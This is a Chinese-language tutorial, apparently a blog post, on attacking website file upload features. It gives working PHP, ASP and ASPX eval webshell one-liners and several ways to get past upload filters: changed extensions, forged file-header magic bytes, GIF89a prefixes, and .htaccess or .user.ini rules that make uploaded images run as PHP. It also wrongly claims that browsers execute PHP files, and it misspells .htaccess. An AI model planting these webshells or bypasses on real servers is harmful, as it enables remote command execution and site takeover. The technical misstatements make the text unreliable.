如果一个网站允许上传文件,并且允许用户去访问这个文件,那么就可能存在文件上传漏洞。 当我们上传一个php文件并访问,那么这个php文件中的恶意代码将会被执行,我们的目的就是通过构造这个恶意代码,获取我们想要的信息,或执行我们想要的操作。例如下面这行代码:
代码语言:javascript复制<?php @eval($_POST['a']) ?>
当我们用Post请求上传“ a='ls' ”后,页面就会返回'ls'的结果,同理我们可以构造其他我们想利用的代码。
在实际情况中很多服务器都有过滤机制,下面是一些常用的绕过技巧:
1. 由于php文件的特性,就算php文件的后缀名不是.php,一般的浏览器还是会将它当成php文件执行,我们可以修改文件的后缀名(png,jpg等)来绕过某些过滤机制。
2. 一句话木马的形式并不是唯一的,有以下几个变种,当第一种行不通时可以尝试其它的形式。 PHP一句话木马:
代码语言:javascript复制<?php @eval($_POST['a']) ?>
<script language="php">eval($_POST['a']);</script>
ASP一句话木马:
代码语言:javascript复制<%eval request (“a”)%>
ASPX一句话木马:
代码语言:javascript复制 <%@ Page Language=“Jscript”%> <%eval(Request.Item[“a”],“unsafe”);%>
3. 有些网站可能会检测文件头是否合法,这时可以添加文件头进行绕过。 用16进制编辑器添加文件头:
- jpg : FF D8 FF
- png : 89 50 4E 47
- gif : 47 49 46 38
- xml : 3C 3F 78 6D 6C
- html : 68 74 6D 6C 3E
- zip : 50 4B 03 04
- rar : 52 61 72 21
- pdf : 25 50 44 46 2D 31 2E
- xls,doc : D0 CF 11 E0
或者直接使用文本编辑器在开头加入GIF89a,来构造一个虚假的图片,可以绕过getimagesize()函数。
4. 有时文件上传成功后,访问并不能执行里面的脚本,可能还要上传.hatccess文件或者.user.ini文件使木马能够被解析。其中.hatccess只适用于apache,而.user.ini适用于大多数服务器。
.hatccess: 将png文件解析为php文件
代码语言:javascript复制AddType application/x-httpd-php .png
将文件名含有字母“a”的文件解析为php文件
代码语言:javascript复制<FilesMatch "a">
SetHandler application/x-httpd-php
</FilesMatch>
.user.ini: 当服务器的脚本语言为php,且上传目录中有php文件时,可以尝试.user.ini进行绕过。一般脚本形式为:
代码语言:javascript复制//绕过exif_imagetype()
GIF89a
//指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。
auto_prepend_file=a.jpg
//解析后进行包含
auto_append_file=a.jpg